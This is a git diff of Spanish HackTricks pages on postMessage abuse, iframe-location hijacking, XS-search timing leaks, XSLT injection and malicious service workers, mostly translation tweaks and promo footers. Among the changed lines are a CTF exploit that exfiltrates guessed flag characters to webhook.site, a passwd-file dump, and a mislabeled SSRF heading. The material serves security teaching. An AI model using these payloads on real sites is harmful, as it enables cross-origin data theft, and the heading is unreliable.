`**. Entonces, **`window.calc`** será **`undefined`**. +* Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Conseguir esto es "fácil". Si creas un **iframe** y **envías** un **postMessage** desde él e inmediatamente lo **eliminas**, **`e.origin`** será **`null`**. Revisa el siguiente código ```javascript let iframe = document.createElement('iframe'); document.body.appendChild(iframe); @@ -35,45 +35,45 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`); document.body.removeChild(iframe); //e.origin === null ``` -Para saltarse la **segunda comprobación** sobre el token, se debe enviar **`token`** con valor `null` y hacer que el valor de **`window.token`** sea **`undefined`**: +Para evitar la **segunda verificación** sobre el token es enviando **`token`** con el valor `null` y haciendo que el valor de **`window.token`** sea **`undefined`**: -* Enviar `token` en el postMessage con valor `null` es trivial. -* **`window.token`** se llama en la función **`getCookie`** que utiliza **`document.cookie`**. Tenga en cuenta que cualquier acceso a **`document.cookie`** en páginas de origen **null** desencadena un **error**. Esto hará que **`window.token`** tenga un valor de **`undefined`**. +* Enviar `token` en el postMessage con el valor `null` es trivial. +* **`window.token`** al llamar a la función **`getCookie`** que utiliza **`document.cookie`**. Tenga en cuenta que cualquier acceso a **`document.cookie`** en páginas de origen **`null`** desencadena un **error**. Esto hará que **`window.token`** tenga el valor **`undefined`**. -La solución final de [**@terjanq**](https://twitter.com/terjanq) es la [**siguiente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html): +La solución final por [**@terjanq**](https://twitter.com/terjanq) es la [**siguiente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html): ```html - - - + + + ```
@@ -81,9 +81,9 @@ La solución final de [**@terjanq**](https://twitter.com/terjanq) es la [**sigui ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md b/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md index 9dd36f2db..a18945b0f 100644 --- a/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md +++ b/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md @@ -4,45 +4,45 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Cambiando la ubicación de iframes secundarios +## Cambiando las ubicaciones de los iframes hijos -Según [**este artículo**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si puedes iframear una página web sin la cabecera X-Frame, que contiene otro iframe, puedes **cambiar la ubicación de ese iframe secundario**. +Según [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si puedes incluir un iframe de una página web sin la cabecera X-Frame que contiene otro iframe, puedes **cambiar la ubicación de ese iframe hijo**. -Por ejemplo, si abc.com tiene efg.com como iframe y abc.com no tiene la cabecera X-Frame, podría cambiar efg.com a evil.com de origen cruzado usando **`frames.location`**. +Por ejemplo, si abc.com tiene efg.com como iframe y abc.com no tiene la cabecera X-Frame, podría cambiar efg.com a evil.com en una ubicación de origen cruzado usando **`frames.location`**. -Esto es especialmente útil en **postMessages** porque si una página está enviando datos sensibles usando un **comodín** como `windowRef.postmessage("","*")`, es posible **cambiar la ubicación del iframe relacionado (hijo o padre) a una ubicación controlada por el atacante** y robar esos datos. +Esto es especialmente útil en **postMessages** porque si una página está enviando datos sensibles usando un **comodín** como `windowRef.postmessage("","*")`, es posible **cambiar la ubicación del iframe relacionado (hijo o padre) a una ubicación controlada por un atacante** y robar esos datos. ```html - ` - console.log('iframe: ', iframe) - hack.innerHTML = iframe - } - , 500); - +timerId = setInterval(() => { +if (candidateIsGood) { +flag = candidate +guessIndex = -1 +fetch('https://webhook.site/?flag='+flag) +} + +//Start with true and will be change to false if wrong +candidateIsGood = true +guessIndex++ +if (guessIndex >= flagChars.length) { +fetch('https://webhook.site/') +return +} +let guess = flagChars[guessIndex] +candidate = flag + guess +let iframe = `` +console.log('iframe: ', iframe) +hack.innerHTML = iframe +} +, 500); +

hello

@@ -80,9 +80,9 @@ app.get('/guessing', function(req, res) { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xs-search/performance.now-+-force-heavy-task.md b/pentesting-web/xs-search/performance.now-+-force-heavy-task.md index f13c894e1..f48baf5ae 100644 --- a/pentesting-web/xs-search/performance.now-+-force-heavy-task.md +++ b/pentesting-web/xs-search/performance.now-+-force-heavy-task.md @@ -6,15 +6,15 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). **Exploit tomado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)** -En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres serían devueltos al bot. Por lo tanto, al enviar una gran cantidad de caracteres, el atacante podía determinar si la bandera estaba contenida en la cadena enviada o no. +En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres serían devueltos al bot. Por lo tanto, al enviar una gran cantidad de caracteres, el atacante podía medir si la bandera estaba contenida en la cadena enviada o no. {% hint style="warning" %} Inicialmente, no establecí el ancho y alto del objeto, pero más tarde descubrí que es importante porque el tamaño predeterminado es demasiado pequeño para marcar la diferencia en el tiempo de carga. @@ -118,10 +118,10 @@ main() ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xs-search/performance.now-example.md b/pentesting-web/xs-search/performance.now-example.md index 6f7decf7f..10d553239 100644 --- a/pentesting-web/xs-search/performance.now-example.md +++ b/pentesting-web/xs-search/performance.now-example.md @@ -6,8 +6,8 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -61,7 +61,7 @@ document.addEventListener('DOMContentLoaded', main); * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xs-search/url-max-length-client-side.md b/pentesting-web/xs-search/url-max-length-client-side.md index 9cd5b2c7d..26eae3eeb 100644 --- a/pentesting-web/xs-search/url-max-length-client-side.md +++ b/pentesting-web/xs-search/url-max-length-client-side.md @@ -1,13 +1,13 @@ -# Longitud Máxima de URL - Lado del Cliente +# Longitud máxima de URL - Lado del Cliente
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -82,10 +82,10 @@ app.run(host='0.0.0.0', port=1337) ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** me en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index 16328d186..332767a81 100644 --- a/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -7,7 +7,7 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. @@ -158,7 +158,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ``` ### SSRF -SSRF (Server-Side Request Forgery) es una vulnerabilidad que permite a un atacante enviar peticiones desde el servidor hacia otros recursos internos o externos. +### Inyección de código en el lado del servidor (SSRF) ```xml @@ -368,9 +368,7 @@ xmlns:php="http://php.net/xsl" > ``` -### **Ejecutar código usando otros frameworks en el PDF** - -**Más lenguajes** +### **Más Lenguajes** **En esta página puedes encontrar ejemplos de RCE en otros lenguajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)** @@ -412,7 +410,7 @@ version="1.0"> * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md index 4c16b94fe..944b4d295 100644 --- a/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md +++ b/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md @@ -8,15 +8,15 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. +Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -29,7 +29,7 @@ Un **service worker** es un script ejecutado por tu navegador en segundo plano, ### Verificación de Service Workers Existentes -Los service workers existentes se pueden verificar en la sección de **Service Workers** de la pestaña de **Application** en las **Herramientas para desarrolladores**. Otra forma es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para obtener una vista más detallada. +Los service workers existentes se pueden verificar en la sección de **Service Workers** de la pestaña de **Application** en las **Herramientas para desarrolladores**. Otro método es visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para obtener una vista más detallada. ### Notificaciones Push @@ -39,7 +39,7 @@ Las **permisos de notificaciones push** impactan directamente la capacidad de un Para explotar esta vulnerabilidad necesitas encontrar: -* Una forma de **subir archivos JS arbitrarios** al servidor y un **XSS para cargar el service worker** del archivo JS subido. +* Una forma de **subir archivos JS arbitrarios** al servidor y un **XSS para cargar el service worker** del archivo JS subido * Una **solicitud JSONP vulnerable** donde puedas **manipular la salida (con código JS arbitrario)** y un **XSS** para **cargar el JSONP con un payload** que **cargará un service worker malicioso**. En el siguiente ejemplo voy a presentar un código para **registrar un nuevo service worker** que escuchará el evento `fetch` y **enviará al servidor del atacante cada URL obtenida** (este es el código que necesitarías **subir** al **servidor** o cargar a través de una respuesta **JSONP vulnerable**): @@ -73,13 +73,13 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ ``` Existe un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades. -La directiva de **caché de 24 horas** limita la vida de 